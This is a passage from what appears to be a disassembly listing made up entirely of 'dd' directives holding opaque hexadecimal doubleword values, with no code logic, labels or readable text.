1C4164D5h, 0CAB29C85h dd 0A0B300E4h, 0FBB29D37h, 2FC1168h, 596B1E92h, 0BAEDA3C7h dd 97B1B782h, 22BF24CFh, 1545077Ah, 0B1F5AA37h, 0C420450Eh dd 95B3E513h, 96C443C1h, 5B866E7Fh, 68D9BE5Eh, 417B7DEh dd 5AEF43D8h, 45C61DCDh, 39223DD8h, 7A32E6C0h, 49956AAh dd 2AF13EA8h, 0AF5E1CDh, 326B1F35h, 770FCE79h, 59E6F844h dd 0FC71C448h, 0E571C7EFh, 0AAEC7D0h, 26ED3677h, 805146Eh dd 6EF65622h, 0BEDC74F8h, 194D3F70h, 67A86AFFh, 0C885C112h dd 54C076Bh, 2CC460CEh, 34E31DE9h, 0F865DDCFh, 0B7CD4A84h dd 0DC94D1D2h, 4021D6F1h, 8EBBFA8Eh, 3138BD17h, 9CAF8B54h dd 4D7BB3A2h, 2A7C3556h, 0B6F8B81Bh, 0C8647577h, 19301787h dd 46AEDEEFh, 15CE52CDh, 19F0A0E6h, 1085469Eh, 26056FE1h dd 0E76A82Ch, 492CB168h, 76A0A3D9h, 0CBF79F78h, 5E4C7C03h dd 0CC79943Dh, 0FBA15AF9h, 0F9597F01h, 1C97C8D7h, 72F66DF7h dd 9E8A0133h, 0DB384A31h, 43BE119Ch, 0D7EA095Ah, 10ED952h dd 458C2419h, 9CB47401h, 69A6A89Fh, 33E0D51Fh, 62D1DDCh dd 9834355h, 0D872F208h, 1309C7E5h, 78EE56F7h, 1F1367CEh dd 7086DA78h, 711E2A71h, 0BFD601F8h, 0FC758AE4h, 0E35AABE4h dd 7A40342h, 50ACB5FFh, 1CE6BA41h, 7BEC5D22h, 5F02BAD2h dd 0EE69781Dh, 52E36D0Ch, 0C022A6BBh, 73C9C2Ah, 0BBF2D916h dd 47A3C3F7h, 0C66D3E1Ch, 0D9B5C17Ch, 7F3DF896h, 0C0B6FAC4h dd 5BB0F3CEh, 7ABC1704h, 391D1DF8h, 0B4C4BD12h, 58FF413Eh dd 7ED445Eh, 3A42D96Dh, 0C72DE73Eh, 44A0B74Eh, 3ADBD83Ah dd 9F38BBC5h, 5AACFAE4h, 0ED63531h, 21FD7Dh, 79FF9694h dd 30E9FF8Eh, 34C7FE4h, 1801531h, 4D597D6Bh, 0C42F4630h dd 0F18CA8CDh, 0E46BAF29h, 0E040165Ch, 0C25E32D4h, 0D57204CFh dd 253ABB57h, 9FF6C4E4h, 0A4612CAEh, 5C375C2h, 69A07944h dd 8B0781C9h, 8CB539h, 0FE217D65h, 41FE6194h, 0ECF117E4h dd 7CABBE6Ah, 0DBFAAF99h, 0C164B9E6h, 47FE3884h, 7E0491DAh dd 412774A2h, 0A503CD77h, 975AEA0Bh, 0C1265204h, 11F1BF84h dd 2D876E1Fh, 6C813CCFh, 9566BEF8h, 142100F4h, 0C3BC50A7h dd 0EC67A64h, 0BEAE7331h, 0B082BEF6h, 0DEC9DFFh, 0C4ED3D50h dd 0C0035DCAh, 846D4124h, 0C03E5C86h, 1CDBBD9h, 0DC2B2716h dd 0F5E6BD5Ah, 4FC0F364h, 7E1D83DEh, 0E215E0h, 0C3E5C8ABh dd 8303B49Bh, 7CE813FFh, 0FCE8AC67h, 7BFFD3Fh, 0EF29F167h dd 0F5B7B6A4h, 0F4C756Ah, 0FCA885DDh, 468F63Eh, 0FCA3BEB0h dd 6A9600D7h, 3489B8BEh, 0CE7B214h, 3E722D4h, 9CE9679Dh dd 0E40DDE29h, 0C42B570Bh, 0F434A968h, 0D5C8BCA0h, 0B55E2866h dd 5B63726h, 99EE4DFFh, 0F5E4FE8h, 5333772h, 0A0F55D26h dd 0CA46F32Eh, 79FE3BF4h, 0A6CB17Ch, 6E6D93Fh, 75AC4328h dd 13ECEA6Eh, 71D8F70Ch, 45B6880Bh, 0D4DCF54Eh, 5EA188D1h dd 7CB49543h, 86CB53Dh, 0E681BF1Bh, 70495A8Dh, 0B0810427h dd 0CF2D2621h, 3FF40428h, 2F5743Dh, 1E71340h, 0AAAB8198h dd 1BA85A2Ch, 55816285h, 0C42ABCD5h, 0AA550678h, 56A07E3Ah dd 0E51883Ah, 0ED875CDh, 3CE3F650h, 94C716Fh, 0A0346B3Ah dd 4823E424h, 1531FDE1h, 0FF11ADC7h, 0F2DCB3E5h, 0E1BB823Bh dd 8C45220Fh, 7FF2349Ch, 0D001C1CDh, 8481DEF9h, 4A0BC4Ah dd 3D8F7986h, 0A060E023h, 0FAE1A424h, 351A28E6h, 0C14C729Ch dd 0B135B92Eh, 3BB6DD22h, 0F54B8125h, 9E67810h, 0D7F10F8Fh dd 0B8F0421Fh, 0C40BB0B5h, 0CF444282h, 8E3D484h, 0E2E37D68h dd 2FACD88Eh, 3DA1D0Fh, 0CC5469C7h, 4E75B84h, 0C2E33F5Fh dd 57D291FAh, 3C1C736Ch, 5032E072h, 0B96EFF2Ah, 0E7834367h dd 0C435DC72h, 0DD863524h, 0CF2C7405h, 7F7639A5h, 250DB6F4h dd 0DE4D76ACh, 5EAAE9EFh, 0CD46F72Eh, 65F1F7F1h, 0B830D35h dd 15BDEA65h, 0C02DF88Bh, 7FC5EF28h, 0AE7E8A34h, 0D4F1A131h dd 6AF2671Dh, 1BF73D18h, 0E6FADE42h, 71A24666h, 70AA476Ah dd 1FB7FACAh, 3FE21D0Fh, 0C188DE00h, 0E40FBD27h, 7B2F401Eh dd 1D84032h, 30604025h, 0DF175B2Bh, 434ED5C7h, 91D0EF1Bh dd 75C4A9BFh, 942570A8h, 971EDED2h, 0A6257993h, 0CB84DC88h dd 628AE3F7h, 3B56762Ch, 0C464EE91h, 8957418Eh, 5D6C4880h dd 272DADE3h, 265FCE5Bh, 0C259AE84h, 29FE177Ch, 825EC658h dd 35FD71D3h, 0E1E8D612h, 0F21BEDD0h, 0AB74DDC1h, 0DBC919DEh dd 3C5065EDh, 0C872DA4Ch, 73E97C84h, 0F1474C8h, 3EA0475Eh dd 0C1815FCAh, 22964E3Ah, 4ED7874h, 0C1AFFFDCh, 7CBDA07Ch dd 6D29B712h, 655100FFh, 70A91EF8h, 0D246F3BCh, 104DB55Bh dd 5786AB6Ch, 0D404E935h, 0DBF0F933h, 2AF6E2FDh, 9895E7Ah dd 0BA0D76F8h, 0AE4C3F2Dh, 5DDE20B6h, 715AEA9Ah, 983CF470h dd 0C429BC7Dh, 0EEA6D5DFh, 1DA58DAh, 3CD1B538h, 6ACCC6A1h dd 0ACF5334Ch, 2CA67434h, 2C961CBBh, 0ECFA0461h, 1D4936ADh dd 0A7358AA8h, 37EBCF4Bh, 48A117CCh, 16A985EAh, 223EA03Bh dd 4D87816Eh, 0FB2D88F5h, 9F3343A7h, 9F315262h, 62A2FF67h dd 52A94EDh, 0F2E4B8DDh, 0D7CBB084h, 0C435B618h, 38A8D921h dd 0C1FB90FFh, 85D8138Bh dd 581C1F99h, 0D22BB19h, 74F3B5CCh, 0E2E70FFEh, 800CB5B3h dd 0D1778F07h, 1A1B66E4h, 2172FEF0h, 26E8952Bh, 5A1AA42Bh dd 3CED9083h, 38A0B128h, 3BAFD33Eh, 0D5EF5C12h, 23E02FCCh dd 3DB61955h, 0FF1A095Fh, 0BEFE0A1Bh, 0DB0ED1DDh, 28A7C0D6h dd 510CBF3Ch, 78CE95D4h, 85BDA92Bh, 10F673D8h, 0DAA00772h dd 85A5BE3Bh, 924C8A08h, 1D0D5A7Bh, 18DFB91Ch, 3D03B40Eh dd 5017F2Fh, 0C0605661h, 6EDA3C6h, 2C55712Bh, 0AFC65725h dd 5EE9102Bh, 191790CAh, 28850DADh, 6DB1F762h, 5CCCA79Bh dd 0DC8F5EDDh, 30CE4CCAh, 0C4BFBED0h, 904DE765h, 6A5EE05Dh dd 41329D41h, 0B46D4681h, 4746862Eh, 310BE7h, 3528673Ah dd 0D2CE67D8h, 48BC9D3Ch, 0BC6A6430h, 13F9BC7Ah, 33477FDBh dd 0FA34A3A0h, 614DB536h, 0D53DDA24h, 60109D16h, 7B0696DCh dd 3812F964h, 0DEDB7D43h, 3DCC9E92h, 0E8068CAAh, 0C4A4A739h dd 0C4AC44CFh, 0E3B77774h, 6CDBE42Ch, 9ED91CFFh, 0FAA90FB5h dd 3F8C1D3Fh, 9C20666Ch, 8E920709h, 6C2DB722h, 8DCB30D2h dd 4F3595CCh, 0DBF3A53Ch, 0BE6BFE3Bh, 60029279h, 0CDFF02FBh dd 8C554147h, 0AD0F56CBh, 683075CCh, 6346E105h, 0E2C2C264h dd 0FCB64D47h, 0EEF6FC08h, 5D1F04DCh, 5466C31h, 3BF527D1h dd 0A4F7609Bh, 0AD17136h, 5ED65988h, 196DEDFFh, 0B34D61B9h dd 4233494Fh, 3EE580BEh, 8028C05h, 7FE57C11h, 75669D34h dd 2D911D04h, 5075CCD6h, 0A9E9F74h, 1FAFC9D3h, 0C5F7E038h dd 0EB09DC4h, 42E42AA8h, 2648808Eh, 32E4B2D4h, 0DB891804h dd 0CEB7CB09h, 0C1F0582Fh, 7B94599Eh, 50A23DD3h, 8C7D1924h dd 0C82C82C2h, 0EFC7B3D6h, 56331CC5h, 0F946F27h, 60E1E8A8h dd 0BA66CFEBh, 9CC4D43Eh, 0C8DA780Ch, 0C8598434h, 0F02C88F8h dd 39CC59F1h, 4F5B566Fh, 7A243FC3h, 2A864928h, 0E8FB5ABCh dd 0E2CC9761h, 322742E5h, 0E37B8893h, 0F86C1445h, 0CCD9776Ch dd 30B0CBFDh, 0AF74C4Ch, 0FCF46040h, 43D01DCFh, 0C6A08D47h dd 0EAF3B5FCh, 53166ADCh, 0D6F55460h, 0B951EE1h, 0FED2CFAh dd 3E05C8A9h, 0DA3538D6h, 80B45F2Eh, 84A1AF67h, 19CAF8F3h dd 0D269FECBh, 0FAB1FC52h, 0FD0AC971h, 36E7FD37h, 0F9581396h dd 35E414E6h, 9EC2FAFFh, 3742FCF4h, 80960975h, 34AE9563h dd 0A41E6A75h, 1705D6A4h, 58949DFCh, 31545939h, 0B5C0F28h dd 37BA7FFBh, 9D3C77DCh, 11331E5Eh, 0DF1EBF0Bh, 0CCB8B462h dd 0DC19B85Bh, 0E789CE98h, 0B01BA66Bh, 7DB1110Eh, 759080AAh dd 9E444BFh, 0A66CFED0h, 9F217991h, 4E1549AEh, 0DD352756h dd 599CF024h, 8CECFFF0h, 2C55D4CDh, 94A50FE8h, 0D94AE527h dd 87034104h, 0CBA893FDh, 716CCCF4h, 5C531DE6h, 0A13E4B5h dd 1E186D07h, 787DFEAEh, 0F1197F4Fh, 0BEAC076Eh, 22D92EBh dd 0FAF697BAh, 311FBF53h, 0DE589DF9h, 10D623D4h, 0CC6D3DD5h dd 58F66356h, 681CB1AEh, 588A6ABFh, 0DDAFAD1Fh, 0E5BD7181h dd 0DCF50128h, 0B70F99A8h, 79359C89h, 4E6456DDh, 0DE8C118Bh dd 9C53A0Dh, 4B9510A7h, 0A46BCB45h, 0FAB275A4h, 23F1FC42h dd 0DD16B99Dh, 895605E1h, 0D819C9CFh, 78B1BD8Dh, 1C5A49B4h dd 461D8A1Ah, 0F1120FE8h, 0E5597BCEh, 0C992D1BBh, 0CB567C99h dd 0D8F0B24Fh, 76501DEh, 2CDA4805h, 0F5E64947h, 0E78F376Dh dd 0D5AEEE49h, 0CC82143Bh, 0DE6F1CEAh, 0C0F17CE5h, 37E2ED3Fh dd 0E4CB44Eh, 0FA6CE3FAh, 0E7F65728h, 8460E84Eh, 0CF431AD4h dd 3611B0A8h, 5C24FA0Dh, 57120BDDh, 17A9B0EEh, 42C13212h dd 79E75233h, 8086507Eh, 8CCC4EE7h, 7AA170Ch, 0C84C9CFBh dd 47AE7693h, 10A35A60h, 0BA56E478h, 0CB36793Fh, 5BC07DC8h dd 0A42D6051h, 0C5BAC913h, 3B6C5484h, 0B839393Fh, 3EB34D28h dd 2C5EAB78h, 78A9669h, 1484002Eh, 2EE32784h, 0B51111FCh dd 2D989DD9h, 78AB7D1Ah, 879ADEB5h, 6005E7Dh, 0A340017Fh dd 9C95F5C2h, 0E7B66F45h, 617B09Ah, 9D5377E7h, 0CF16C677h dd 2BCE297h, 0B8BD26DCh, 0BB7F4CFBh, 0AC12D6FEh, 2A1CD47Bh dd 0F97D79E0h, 3C2B7E44h, 0A8C3EACh, 0BA2C0417h, 0AF644D23h dd 62EE123h, 85171CFCh, 0C34C105Dh, 36EB2C47h, 50EC1DEh dd 0B418B93Bh, 9F14CE4Ah, 4EA9DE02h, 5E63F062h, 9AFC7CF8h dd 0A1A1517Fh, 0F3740ABh, 5D1E0D9Ch, 0AABAB034h, 721C73CBh dd 29962775h, 2DE2AD7Ah, 0C48501DEh, 0BC00025h, 0CBAE7CEh dd 0B132012Eh, 10D099D5h, 66475026h, 71162168h, 0A1C45F26h dd 5404C92Dh, 17174644h, 3DD944A7h, 32EAD1Ch, 2B637454h dd 0DA162F68h, 0FCEEFFDh, 76ED8338h, 0A74CA4DEh, 0E251B8D5h dd 9599B10Dh, 6F14EE84h, 0A0B9F27Fh, 5ADFAF39h, 59F0BECBh dd 96210321h, 0DB3BC607h, 6D58BB3Ah, 7B1CB96Ch, 0ECAF51F4h dd 80629FB6h, 0E770465h, 946B9447h, 76B35090h, 6D0593CFh dd 2406F1DDh, 2A146808h, 29EB3CE0h, 0C73167C6h, 2BF6FA7Ch dd 0CBD11654h, 0EA4F8161h, 0B751AE0Bh, 9CAFA950h, 2CF3527Ah dd 7B126A5Eh, 33DC91C4h, 32CD4212h, 0E0A66761h, 0DC3BD4DBh dd 0C9917425h, 0FF6FAE9h, 0D86E1204h, 0DE60C4B2h, 9F12C951h dd 0F11267F0h, 46B46525h, 0EE0A4FFCh, 6CD56A8Bh, 682C5045h dd 5811FD24h, 4282EAA4h, 0CA2EA993h, 2B740A2Ch, 0E3C4873Fh dd 0F3D222Bh, 50A65527h, 6286BE94h, 0F02DE1B3h, 6059ACD9h dd 0CBB2ADC6h, 26055C2Bh, 0E0C2C678h, 8EC67CEh, 0F60B561Fh dd 8FAC74B1h, 0C5E8E7E9h, 0DC9D773Fh, 0FBF0FD2Dh, 69112529h dd 2A545D83h, 0C593D76Dh, 0A031792Ch, 0AD62F90h, 353284FEh dd 25B374E8h, 272C9DE1h, 769EA135h, 0F13F467h, 6E91B887h dd 21AAF14Fh, 92069FCFh, 0CA0B88C9h, 8F96731h, 0DCF6B0E9h dd 8E56688Bh, 0B3A0D155h, 731E003Fh, 9F379745h, 16084847h dd 0EFBCF9EAh, 0F7F776DDh, 0CAD87159h, 122D91BEh, 0E5AC87D3h dd 2B1474DBh, 27A09B31h, 0B230334h, 13960F91h, 65C42699h dd 20042D5Fh, 7F02656Ah, 0D709AD13h, 0CBF9B6C2h, 794191DFh dd 1A15CB3Bh, 0A91B55D0h, 3425B9F5h, 29405AFCh, 279E5D84h dd 760AD4B5h, 6B0681C2h, 0D34B901h, 0BB087FFCh, 0F9F6567Eh dd 95140921h, 7AD75380h, 54411196h, 7D5A51BDh, 44E952F0h dd 0FCBE616Fh, 2A8F70A8h, 639FB588h, 49D15478h, 0BD50CDD2h dd 4EE9EC34h, 1FF9C13Eh, 0B0B42622h, 0E84C6CE7h, 0FFD255DDh dd 0E3D4F9C2h, 0A0FC7877h, 18F5EEDFh, 217C64E5h, 205FC1E1h dd 0FD25830Fh, 0E8936C24h, 7B2C5DDFh, 0E316FACEh, 410B84Ch dd 0FD08C98Fh, 24973824h, 0FF2D4D57h, 1F0B412Ah, 5E8D14Eh dd 33B54D12h, 0A816F094h, 0D6C831Ah, 62F7A728h, 9CC47D38h dd 216D1AEEh, 0C40B3DA8h, 0C2965547h, 780930FCh, 24080C8Eh dd 3938C769h, 24C175D1h, 43347E4Eh, 698E8DFh, 8CAF52FBh dd 0FB916729h, 38D12E6Bh, 6A799D39h, 50E6B484h, 8AEF2F93h dd 8DF7EF7Fh, 664AB8EBh, 960AB268h, 85AE1B21h, 0CEE7F9D4h dd 0A274EEB5h, 0A4570B7Eh, 0F68CF5F9h, 0F660661h, 0D5D94861h dd 0E4C1FF94h, 0ED14178Bh, 0E92CD0DBh, 4E7AE341h, 9614CAE7h dd 0BC4A19B5h, 1A89D9CAh, 0C72EAD5Eh, 0C5E0A6BDh, 8365466h dd 0C777D680h, 0D8D1FC3Eh, 0B84BB084h, 0E398CA4Ah, 9F1CCC54h dd 0E5BB932Fh, 3C89B04Ch, 263542A2h, 5640FD66h, 0EC8DFBCEh dd 0AEB4CA7Ch, 0E6A0DD7Ah, 0B4A7FD7Bh, 5D127008h, 0DA650A3Ah dd 5F129084h, 4D35B37Fh dd 0BAA779BEh, 0C72CB738h, 70E274FDh, 891BBAA7h, 0EC2B65ECh dd 226624EDh, 36033A3Fh, 0B909BD86h, 33E0B1FBh, 0C042C166h dd 0F423F8AAh, 0D95FFD39h, 0EFC4AB32h, 0DA5471C5h, 0AF32DCE2h dd 84966C48h, 0C9D127A8h, 295D6169h, 52AB37C3h, 0C7086742h dd 0CDD3F8FAh, 0F5ADC7E5h, 0D72044C9h, 4B37DEAh, 0F5224D75h dd 0D1E36212h, 5FD85C94h, 0E3AE8B5Bh, 1EC2673Ah, 5F3FBEDCh dd 0C966D2E0h, 0DDAD271Bh, 0AACF9450h, 9F457547h, 5B4D05C5h dd 9AA5DEEAh, 7561B23Ah, 7AF676Eh, 293332FBh, 846C7927h dd 0C5AF64DCh, 1046AB19h, 663FA963h, 0E22C97AFh, 430994F5h dd 9A2ACA80h, 0E82E9EBCh, 99D19219h, 9DDC3D51h, 0D3F66B04h dd 55231ECBh, 0ACB4B078h, 69B3B73Fh, 4E60DDF0h, 4C9A0395h dd 7DC14D7Dh, 0A2F96526h, 0A7274D5h, 70877E1h, 70531E3Ah dd 260E0A0Dh, 7A9F0F35h, 0FDD43E2Ah, 61347866h, 0BC28C2BCh dd 76AFBA18h, 25F1CC5h, 0B64A92E6h, 0DD168D5Eh, 7009583Eh dd 5CE73125h, 0A49D04DCh, 3AEC5B07h, 0F1F476C7h, 7D74AF9Ah dd 71F746B0h, 10F85AAAh, 0C1B28DB0h, 91427579h, 9CC06208h dd 0CD6072A4h, 50D9398Ah, 637CE52h, 12D9D6C6h, 0FAD086DEh dd 963E5CF0h, 0B0CF5C9Ch, 714D3235h, 0F3EB1D14h, 549B56EAh dd 0E4D5EB81h, 0AC942FD8h, 1373484h, 7CF41654h, 38A2CD52h dd 9F3DB3E4h, 4CFB6362h, 0C464A0E6h, 0D5EA5531h, 78C0ED08h dd 10A5B5D4h, 38A3F5E4h, 7FA8597Ch, 0DD05B4FCh, 3C92FDFFh dd 7CE7F36Ah, 66020C9Fh, 0E8B5FCA3h, 288FBA58h, 0BA5603BAh dd 386DEC1h, 6CEBD6Bh, 4C4DF89Fh, 0BCC71230h, 0DD4B75F7h dd 24F5478Dh, 2B70EB0Ah, 1169C75Bh, 0D4CC50B2h, 874C06E8h dd 6BD6FE3Dh, 0EE5E01DCh, 0F0D1B726h, 4B40C8DDh, 0ECAF43BCh dd 23F269DAh, 2AEF60F0h, 735176C8h, 0BA7E511h, 0F9AB4660h dd 0C774D184h, 82FB87EFh, 8FE14C6Ch, 3272709Eh, 0C59E6FC8h dd 3E074007h, 66500325h, 0C045E304h, 4AB480D0h, 55716B58h dd 9C6106FCh, 0FFE14DEEh, 39110EEDh, 18E46796h, 0D8B05823h dd 0FB0F43ADh, 0DC997CBDh, 98587D17h, 0B3B082C7h, 0C34FD2Bh dd 0D56BBAE4h, 7D217787h, 0FDD54014h, 0DA3EE593h, 0A43C748Bh dd 7D2661A9h, 594D6494h, 7C67E3C1h, 3015ACF4h, 0D4C349D0h dd 282DF8DCh, 2B0CC3D7h, 67986ADAh, 0F5ACFE35h, 203A2BC5h dd 480Bh, 76166CBFh, 25E99EBEh, 70642041h, 7086D4D9h, 0C47557D9h dd 100D50A3h, 23AD3FEEh, 684223B8h, 6CCD0BCFh, 834CBE6Bh dd 0AAEFC9C4h, 59517694h, 0D3616CACh, 0B2DBC587h, 3CF9D754h dd 0A67F2797h, 0FF6CB1BAh, 6954F707h, 0B61F02Eh, 5A3893DEh dd 7A9D6C83h, 151528E8h, 0EBA47C58h, 0ECF6AC41h, 4DDB617Bh dd 1455D801h, 61245D2Bh, 0C0E613FCh, 0D2D15CCCh, 2A796645h dd 0FB79B221h, 51A63030h, 0A1D052EAh, 0C03091DBh, 7DE6743Ch dd 578CA7E4h, 0AD0C6ABh, 7CA8DEA3h, 22E5B5F0h, 2160D857h dd 544255CEh, 730D759h, 26A335F0h, 0BDFCD8D0h, 27ACF8C8h dd 4A0843C4h, 4EB96D39h, 4ABEB0ADh, 6A41514Eh, 0C41B5108h dd 230567F0h, 813D58BFh, 0EBEB0797h, 92635318h, 0ABCE67BAh dd 44BD9E5h, 0C8868F84h, 1F35E344h, 0C5CC714Bh, 1863A968h dd 0D56C0494h, 1CE42543h, 6B2DA5A8h, 0C0FEE236h, 3A5DD16Bh dd 0C4FFBE33h, 0BA8336D9h, 11D5D907h, 4E737367h, 0DB949ED0h dd 0F1D49A15h, 8FE49AC3h, 88DB5E4h, 784884FAh, 626F5546h dd 0C021D1Fh, 4F6E41CAh, 0C0AB0B97h, 0F962471Bh, 7899109Fh dd 0EB25A087h, 1AE536C5h, 327F71D9h, 0F5AD72A1h, 2D54A367h dd 4A9EF75h, 8D0840D3h, 0F1D8603Bh, 2E3E57B9h, 0C411B2D9h dd 7C04DB84h, 91B8FCDCh, 1D46CD01h, 0CE5B8586h, 73274002h dd 0EA49F260h, 0BFA00F6Ch, 25FE1DE6h, 0F21F7C2Eh, 332C1C12h dd 6D83979Bh, 0C1F137FDh, 54F21122h, 0D321A3B9h, 2A5B599Bh dd 16306F6Ah, 305527D0h, 230743E8h, 7384864h, 748AFDD0h dd 0F83A66CCh, 6280903Dh, 4DD46AE6h, 64ACC832h, 0C145755Dh dd 0A0FCD710h, 0B23ED729h, 0C0ACF6C9h, 0CFD47D09h, 20F64729h dd 0CEC2A55Dh, 0A3681FDCh, 8902126h, 34CEB6FAh, 0F8BC9141h dd 0D748FCB5h, 2F30AC1Dh, 531CE3B7h, 0D18B7425h, 2EC3663Eh dd 2E34CC64h, 0CFEF1E0Dh, 0C1546880h, 1DB49961h, 335F4B62h dd 61DF1863h, 0BA360753h, 0B0D2E4BDh, 68EC83CCh, 0D2D203D8h dd 4FF090D2h, 2D9889E3h, 1721C2E3h, 0C9054FE3h, 0E2255D14h dd 0D433BBD3h, 0D29B7DE5h, 0BFB4637Fh, 0D6CCE6FBh, 0AF9B07A4h dd 68F2761Ch, 0AB4C5BE1h, 7485FBADh, 0C39543FBh, 3FDBE9Dh dd 22908854h, 0F58EF34Ch, 0D29A9D05h, 779DC42Ch, 0FFA68B36h dd 0CB2A6524h, 0FD273F1Dh, 0FA06A17Fh, 1F11FCFFh, 2AC87908h dd 7E3D6F1Ch, 0D97C73A0h, 5B625CD1h, 0DDD07F7Ch, 4F3897CFh dd 0A99DAB21h, 0D310A12Fh, 6155F2E8h, 4713AA36h, 0F40C36AEh dd 76CC02A5h, 244D049Eh, 0F5E47541h, 4AFFF467h, 0EDF4B404h dd 0D52E1D6Bh, 0B4FDFBA9h, 0C0DE2A07h, 75CEEFCAh, 0E9ADB7E7h dd 930E42Ah, 409E45F7h, 5B347CE0h, 0CD1F37C4h, 8EF3E633h dd 4231903Ch, 8DA0BE97h, 0A6A26142h, 4E228B14h, 18DBEA7Eh dd 65F5A5B8h, 11528077h, 63D4EF5h, 0CD85500h, 0AEFA570h dd 2550FD84h, 1F3B0C9h, 3F34D9FBh, 83E7FCFh, 12D766Ah dd 0E11D5F84h, 0F68186ABh, 0A7D0514Bh, 74DA5C6Bh, 573709BEh dd 0CE3B4C96h, 1F52D062h, 573911CBh, 50E4AD54h, 0F5907DD6h dd 247F1AFEh, 0F6229EA8h, 0D0AD24B1h, 2A82623Bh, 94996A0Ah dd 7B042BC2h, 9D3F0101h, 0B1A1B0E7h, 0C7BE493Ch, 8D55EA62h dd 9F24CD9Eh, 0F683B3ACh, 0A9060A4Ch, 8A848038h, 1D3CE64Fh dd 562F66E6h, 0BA8C6ABAh, 0DEB11A7Eh, 4FD92C47h, 0DCF16A8Dh dd 4FC8061Bh, 6F5EF51Fh, 6867A5B2h, 0C08966C0h, 0C4EF6F08h dd 691915h, 0AE2F93Ch, 4CD757Eh, 0CB0BCD50h, 4E888FFFh dd 98D950F2h, 1C9871F9h, 5557543h, 0C60138AAh, 63C42FD4h dd 0FC02268Eh, 0C8AC5738h, 34E7E3FFh, 0FA4CC435h, 210B427Fh dd 7D9F7342h, 0F9205BC9h, 8F161D18h, 91F20685h, 245516A4h dd 0FC04466Ah, 6A98F161h, 0C3F6A99Ah, 4086745Bh, 166133EDh dd 19F191C3h, 0F8CE7C2Fh, 1FF0F834h, 2CCD9103h, 4AE4AAA7h dd 4747CACCh, 0BEC5708h, 0C5EBBE52h, 0D720FF1Fh, 468AB73Fh dd 43B847EDh, 97700A2Eh, 0B0609F01h, 3E38E5F0h, 0C75C7CD1h dd 0B5C6936Eh, 0B70F79BBh, 0A6FB7DBDh, 0EAB4A5ADh, 750C0A4Ch dd 0E804F575h, 8E09F570h, 4DC0F8E5h, 37F4A488h, 86B8E1AEh dd 0D1A730C5h, 2DFA010Ch, 8906CAAEh, 0F7E42118h, 0EFF859A4h dd 0CEFE4BF0h, 0D269CF67h, 3E78E9D0h, 0D53C5984h, 0CD0DB327h dd 7501CEC4h, 9D157D2Dh, 0EBB69550h, 0CA5AA643h, 7456603Eh dd 0CB2CB3E8h, 7A0A79CEh, 753D9D3Fh, 4FD2B2EEh, 2E3E40A9h dd 0FB3A9CEDh, 0D5681A6Ch, 612EFC32h, 0DAFAD28Eh, 0A7EF0920h dd 0C3FE0D32h, 0F4E6F27h, 0C1F53C30h, 944D8A40h, 768DD8AAh dd 0BC35ABEEh, 0CA8A5A28h, 34989773h, 0EDFB7467h, 159D3CFCh dd 340E1D3Ch, 80ED1FF7h, 6C03C9CDh, 1BA41E21h, 46BAAE75h dd 0FDB78B3Ah, 0FC31502Eh, 0EDB5DF35h, 640DB976h, 8CFC423Dh dd 23F05E5Eh, 0CD6CB63Fh, 0EB353A01h, 0D3021574h, 18C19039h dd 15952CA8h, 97DF0E4h, 11676967h, 0C5E70B37h, 353292F6h dd 0C7E19B78h dd 23C678D8h, 0CEA1313Bh, 0F7F4642Ch, 1323E2B5h, 9CE849FFh dd 2757DB73h, 1F02F843h, 4529F553h, 0D521E356h, 0B8F9AE39h dd 22E5B208h, 0A0CE50Ch, 0FAD8EC3Bh, 0E917B2E0h, 0ECCE9DAFh dd 63BF2EDEh, 4A966530h, 20219881h, 0A05D6D04h, 0DE4D2DE4h dd 4F72CB7Eh, 9C005DC7h, 2DC42C49h, 11485572h, 0D0EBAA76h dd 758FA09Dh, 0F8155129h, 0F5147CBFh, 0BC32ACE1h, 0E53997C4h dd 0D4C43C3Fh, 9F2E626h, 0FB8FCD8h, 0F81B14D3h, 0A5369397h dd 824F4876h, 8E04FC96h, 1F9BFC00h, 0BE8EE7D0h, 0FDFDE20Bh dd 65F97B18h, 0F59746C3h, 0A659B73Dh, 51CE726Bh, 0A68B27CCh dd 0C064B5E3h, 16E8AA24h, 6099BE14h, 0D4D25DCBh, 0F4F61E6Dh dd 2715DE28h, 11067AFFh, 0D1A89DC8h, 21AA71CBh, 292E8149h dd 5306430h, 0C8A758AFh, 9C84056Fh, 54D89DEFh, 893E3FD3h dd 5417FD49h, 18CC6B2Fh, 0B4157727h, 0D5EC7BFEh, 54A8E63Fh dd 0DEA776F5h, 880DF486h, 0FD1986CBh, 363F702Ah, 263937DEh dd 4E350BC7h, 322416C5h, 359CAFE4h, 183411BEh, 0D32D344Ch dd 0F8DAE0E1h, 0E1817828h, 0C1508D76h, 75836839h, 379D5155h dd 4A9D3E3Eh, 178514BCh, 2CB0C7D0h, 0EC8EA435h, 0BD9E957Eh dd 5955DEh, 2A0D742Fh, 0B0A0FC4Dh, 3A96FB3Eh, 4B349DCBh dd 4A5DD2CFh, 0A9632A4Bh, 2720E147h, 55890AEAh, 62C7C84Fh dd 306E3694h, 5C2DC92h, 7AB440DBh, 324C6531h, 38DDB1F5h dd 0AECAAD0h, 5F7E49A5h, 0C8B67516h, 0D0E59F29h, 99051BD6h dd 0E8281DD7h, 8DFECD2Dh, 531FBD3Ah, 0CCE60B4Eh, 8C93B4C4h dd 0CAF6B208h, 0E6F2CFF7h, 0C8A8538h, 0E319167Bh, 0C5EA5109h dd 0CCE2FD90h, 0B285277Eh, 9095347Ah, 0A4828AFFh, 0C7661C5Ch dd 0F064B15Bh, 0E70B3321h, 262179FFh, 2BFC913Bh, 826985F3h dd 334C7FBFh, 0B3A58581h, 2D3D90CCh, 0B9D0AE5Fh, 862146E0h dd 932D4F4h, 4E6A1F35h, 0E21024A4h, 3F30C0C3h, 0A07CB8h dd 0B4F4A7A4h, 0A8E2B1F4h, 788CADFFh, 14C5E530h, 3EC06D78h dd 10CC7468h, 15F49968h, 6B3C451Ch, 6F355D2Ah, 0CCD881F0h dd 40970BC8h, 312F79C7h, 39A800A8h, 4315C764h, 0C31711FFh dd 0CC40FC7Ch, 0CC74FC78h, 0CC6CFC74h, 0CC64FC70h, 0CC9CFC4Ch dd 0CC88FC48h, 0CC84FC44h, 0CCBCFC40h, 1A90FE5Ch, 1ADC6158h dd 1AC86154h, 1AC06150h, 1AFC60ACh, 1AEC60A8h, 1AE460A4h dd 151060A0h, 150C60BCh, 153860B8h, 153460B4h, 152060B0h dd 2558668Ch, 0E73721F7h, 0EF3C1DDFh, 90ED18A8h, 0E4DC0245h dd 10844EE4h, 20B01DCAh, 0C86F5443h, 3434881Ch, 0BE723E85h dd 5B5FEA64h, 5E63B6FEh, 